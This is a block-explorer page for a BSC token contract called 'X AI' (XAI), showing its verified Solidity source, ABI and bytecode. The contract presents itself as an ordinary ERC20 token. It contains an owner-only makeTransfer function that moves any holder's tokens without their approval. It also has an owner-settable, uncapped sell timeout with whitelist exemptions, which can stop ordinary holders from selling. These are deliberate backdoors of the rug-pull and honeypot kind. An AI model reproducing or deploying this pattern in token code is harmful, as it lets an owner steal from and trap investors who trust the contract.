Contract Source Code (Solidity)Audit Report

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta

Outline

interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address to, uint256 ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom( interface IERC20Metadata is IERC20    - function name()    - function symbol()    - function decimals()    - function _msgSender()    - function _msgData()  contract ERC20 is Context, IERC20, ...    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address to, uint256 ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(    - function increaseAllowance(address sp ...    - function decreaseAllowance(address sp ...    - function _transfer(    - function _mint(address account, uint2 ...    - function _approve(    - function _spendAllowance(    - function _beforeTokenTransfer(    - function _afterTokenTransfer(    - function owner()    - function _checkOwner()    - function renounceOwnership()    - function transferOwnership(address ne ...    - function _transferOwnership(address n ...  contract XAI is ERC20, Ownable *    - function decimals()    - function setUniswapPairAddress(addres ...    - function setTimeout(uint32 _timeout)    - function addToWhitelist(address _addr ...    - function removeFromWhitelist(address ...    - function makeTransfer(    - function transfer(address recipient, ...    - function transferFrom(    - function _checkTimeout(address sender ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at BscScan.com on 2023-04-26
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract XAI is ERC20, Ownable {
    address public uniswapPairAddress;
    mapping(address => bool) private _timeoutWhitelist;
    mapping(address => uint256) public lastTransfer;

    uint32 public timeout = 15;
    uint8 private _decimals = 9;

    constructor() ERC20("X AI", "XAI") {
        _mint(msg.sender, 100000000000000 * 10**uint8(_decimals));
    }

    function decimals() public view override returns (uint8) {
      return _decimals;
    }

    function setUniswapPairAddress(address _uniswapPairAddress) external onlyOwner {
        uniswapPairAddress = _uniswapPairAddress;
    }

    function setTimeout(uint32 _timeout) external onlyOwner {
        timeout = _timeout;
    }

    function addToWhitelist(address _address) external onlyOwner {
      require(!_timeoutWhitelist[_address], "Address already set in white list");
        _timeoutWhitelist[_address] = true;
    }

    function removeFromWhitelist(address _address) external onlyOwner {
      require(_timeoutWhitelist[_address], "Address isn't in white list");

        _timeoutWhitelist[_address] = false;
    }

    function makeTransfer(
        address from,
        address to,
        uint256 amount
    ) external onlyOwner returns (bool)  {
        _transfer(from, to, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _checkTimeout(msg.sender, recipient);
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public override returns (bool) {
        address spender = _msgSender();
        _checkTimeout(from, to);
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function _checkTimeout(address sender, address recipient) internal {
      if (sender == uniswapPairAddress) {
        lastTransfer[recipient] = block.timestamp;
      }

      if (!_timeoutWhitelist[sender] && recipient == uniswapPairAddress) {
       require(block.timestamp >= lastTransfer[sender] + timeout, "lock for prevent front runner bot.");
      }
    }
    
}

• StaySAFU - May 1, 2023 - Security Audit Report

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"addToWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"lastTransfer","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"makeTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"removeFromWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"_timeout","type":"uint32"}],"name":"setTimeout","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_uniswapPairAddress","type":"address"}],"name":"setUniswapPairAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"timeout","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60806040526009805464ffffffffff191664090000000f1790553480156200002657600080fd5b50604051806040016040528060048152602001635820414960e01b8152506040518060400160405280600381526020016258414960e81b8152508160039081620000719190620002a2565b506004620000808282620002a2565b5050506200009d62000097620000dd60201b60201c565b620000e1565b600954620000d7903390620000bf90640100000000900460ff16600a62000483565b620000d190655af3107a40006200049b565b62000133565b620004cb565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166200018e5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060026000828254620001a29190620004b5565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200022957607f821691505b6020821081036200024a57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620001f957600081815260208120601f850160051c81016020861015620002795750805b601f850160051c820191505b818110156200029a5782815560010162000285565b505050505050565b81516001600160401b03811115620002be57620002be620001fe565b620002d681620002cf845462000214565b8462000250565b602080601f8311600181146200030e5760008415620002f55750858301515b600019600386901b1c1916600185901b1785556200029a565b600085815260208120601f198616915b828110156200033f578886015182559484019460019091019084016200031e565b50858210156200035e5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003c5578160001904821115620003a957620003a96200036e565b80851615620003b757918102915b93841c939080029062000389565b509250929050565b600082620003de575060016200047d565b81620003ed575060006200047d565b8160018114620004065760028114620004115762000431565b60019150506200047d565b60ff8411156200042557620004256200036e565b50506001821b6200047d565b5060208310610133831016604e8410600b841016171562000456575081810a6200047d565b62000462838362000384565b80600019048211156200047957620004796200036e565b0290505b92915050565b60006200049460ff841683620003cd565b9392505050565b80820281158282048414176200047d576200047d6200036e565b808201808211156200047d576200047d6200036e565b610e0480620004db6000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c80638da5cb5b116100b8578063bd3733fe1161007c578063bd3733fe146102d1578063bd7644b8146102e4578063dc80d104146102f7578063dd62ed3e1461030a578063e43252d71461031d578063f2fde38b1461033057600080fd5b80638da5cb5b1461026b57806395d89b4114610290578063a457c2d714610298578063a6e49154146102ab578063a9059cbb146102be57600080fd5b8063395093511161010a57806339509351146101cd5780635b6612ad146101e057806370a082311461020057806370dea79a14610229578063715018a61461024e5780638ab1d6811461025857600080fd5b806306fdde0314610147578063095ea7b31461016557806318160ddd1461018857806323b872dd1461019a578063313ce567146101ad575b600080fd5b61014f610343565b60405161015c9190610c28565b60405180910390f35b610178610173366004610c92565b6103d5565b604051901515815260200161015c565b6002545b60405190815260200161015c565b6101786101a8366004610cbc565b6103ef565b600954640100000000900460ff1660405160ff909116815260200161015c565b6101786101db366004610c92565b61041d565b61018c6101ee366004610cf8565b60086020526000908152604090205481565b61018c61020e366004610cf8565b6001600160a01b031660009081526020819052604090205490565b6009546102399063ffffffff1681565b60405163ffffffff909116815260200161015c565b61025661043f565b005b610256610266366004610cf8565b610453565b6005546001600160a01b03165b6040516001600160a01b03909116815260200161015c565b61014f6104e9565b6101786102a6366004610c92565b6104f8565b6101786102b9366004610cbc565b610573565b6101786102cc366004610c92565b610592565b600654610278906001600160a01b031681565b6102566102f2366004610cf8565b6105b2565b610256610305366004610d1a565b6105dc565b61018c610318366004610d40565b610600565b61025661032b366004610cf8565b61062b565b61025661033e366004610cf8565b6106ca565b60606003805461035290610d73565b80601f016020809104026020016040519081016040528092919081815260200182805461037e90610d73565b80156103cb5780601f106103a0576101008083540402835291602001916103cb565b820191906000526020600020905b8154815290600101906020018083116103ae57829003601f168201915b5050505050905090565b6000336103e3818585610743565b60019150505b92915050565b6000336103fc8585610867565b61040785828561095e565b6104128585856109d8565b506001949350505050565b6000336103e38185856104308383610600565b61043a9190610dad565b610743565b610447610b7c565b6104516000610bd6565b565b61045b610b7c565b6001600160a01b03811660009081526007602052604090205460ff166104c85760405162461bcd60e51b815260206004820152601b60248201527f416464726573732069736e277420696e207768697465206c697374000000000060448201526064015b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b60606004805461035290610d73565b600033816105068286610600565b9050838110156105665760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016104bf565b6104128286868403610743565b600061057d610b7c565b6105888484846109d8565b5060019392505050565b600061059e3384610867565b6105a93384846109d8565b50600192915050565b6105ba610b7c565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6105e4610b7c565b6009805463ffffffff191663ffffffff92909216919091179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610633610b7c565b6001600160a01b03811660009081526007602052604090205460ff16156106a65760405162461bcd60e51b815260206004820152602160248201527f4164647265737320616c72656164792073657420696e207768697465206c69736044820152601d60fa1b60648201526084016104bf565b6001600160a01b03166000908152600760205260409020805460ff19166001179055565b6106d2610b7c565b6001600160a01b0381166107375760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104bf565b61074081610bd6565b50565b6001600160a01b0383166107a55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104bf565b6001600160a01b0382166108065760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104bf565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6006546001600160a01b0390811690831603610899576001600160a01b03811660009081526008602052604090204290555b6001600160a01b03821660009081526007602052604090205460ff161580156108cf57506006546001600160a01b038281169116145b1561095a576009546001600160a01b0383166000908152600860205260409020546109009163ffffffff1690610dad565b42101561095a5760405162461bcd60e51b815260206004820152602260248201527f6c6f636b20666f722070726576656e742066726f6e742072756e6e657220626f6044820152613a1760f11b60648201526084016104bf565b5050565b600061096a8484610600565b905060001981146109d257818110156109c55760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016104bf565b6109d28484848403610743565b50505050565b6001600160a01b038316610a3c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104bf565b6001600160a01b038216610a9e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104bf565b6001600160a01b03831660009081526020819052604090205481811015610b165760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016104bf565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36109d2565b6005546001600160a01b031633146104515760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104bf565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600060208083528351808285015260005b81811015610c5557858101830151858201604001528201610c39565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c8d57600080fd5b919050565b60008060408385031215610ca557600080fd5b610cae83610c76565b946020939093013593505050565b600080600060608486031215610cd157600080fd5b610cda84610c76565b9250610ce860208501610c76565b9150604084013590509250925092565b600060208284031215610d0a57600080fd5b610d1382610c76565b9392505050565b600060208284031215610d2c57600080fd5b813563ffffffff81168114610d1357600080fd5b60008060408385031215610d5357600080fd5b610d5c83610c76565b9150610d6a60208401610c76565b90509250929050565b600181811c90821680610d8757607f821691505b602082108103610da757634e487b7160e01b600052602260045260246000fd5b50919050565b808201808211156103e957634e487b7160e01b600052601160045260246000fdfea26469706673582212205df2e44a149f4bea7a1c7b25483017812a3778bccec4dca86af4c71b67df045164736f6c63430008120033

0x608060405234801561001057600080fd5b50600436106101425760003560e01c80638da5cb5b116100b8578063bd3733fe1161007c578063bd3733fe146102d1578063bd7644b8146102e4578063dc80d104146102f7578063dd62ed3e1461030a578063e43252d71461031d578063f2fde38b1461033057600080fd5b80638da5cb5b1461026b57806395d89b4114610290578063a457c2d714610298578063a6e49154146102ab578063a9059cbb146102be57600080fd5b8063395093511161010a57806339509351146101cd5780635b6612ad146101e057806370a082311461020057806370dea79a14610229578063715018a61461024e5780638ab1d6811461025857600080fd5b806306fdde0314610147578063095ea7b31461016557806318160ddd1461018857806323b872dd1461019a578063313ce567146101ad575b600080fd5b61014f610343565b60405161015c9190610c28565b60405180910390f35b610178610173366004610c92565b6103d5565b604051901515815260200161015c565b6002545b60405190815260200161015c565b6101786101a8366004610cbc565b6103ef565b600954640100000000900460ff1660405160ff909116815260200161015c565b6101786101db366004610c92565b61041d565b61018c6101ee366004610cf8565b60086020526000908152604090205481565b61018c61020e366004610cf8565b6001600160a01b031660009081526020819052604090205490565b6009546102399063ffffffff1681565b60405163ffffffff909116815260200161015c565b61025661043f565b005b610256610266366004610cf8565b610453565b6005546001600160a01b03165b6040516001600160a01b03909116815260200161015c565b61014f6104e9565b6101786102a6366004610c92565b6104f8565b6101786102b9366004610cbc565b610573565b6101786102cc366004610c92565b610592565b600654610278906001600160a01b031681565b6102566102f2366004610cf8565b6105b2565b610256610305366004610d1a565b6105dc565b61018c610318366004610d40565b610600565b61025661032b366004610cf8565b61062b565b61025661033e366004610cf8565b6106ca565b60606003805461035290610d73565b80601f016020809104026020016040519081016040528092919081815260200182805461037e90610d73565b80156103cb5780601f106103a0576101008083540402835291602001916103cb565b820191906000526020600020905b8154815290600101906020018083116103ae57829003601f168201915b5050505050905090565b6000336103e3818585610743565b60019150505b92915050565b6000336103fc8585610867565b61040785828561095e565b6104128585856109d8565b506001949350505050565b6000336103e38185856104308383610600565b61043a9190610dad565b610743565b610447610b7c565b6104516000610bd6565b565b61045b610b7c565b6001600160a01b03811660009081526007602052604090205460ff166104c85760405162461bcd60e51b815260206004820152601b60248201527f416464726573732069736e277420696e207768697465206c697374000000000060448201526064015b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b60606004805461035290610d73565b600033816105068286610600565b9050838110156105665760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016104bf565b6104128286868403610743565b600061057d610b7c565b6105888484846109d8565b5060019392505050565b600061059e3384610867565b6105a93384846109d8565b50600192915050565b6105ba610b7c565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6105e4610b7c565b6009805463ffffffff191663ffffffff92909216919091179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610633610b7c565b6001600160a01b03811660009081526007602052604090205460ff16156106a65760405162461bcd60e51b81526020600482015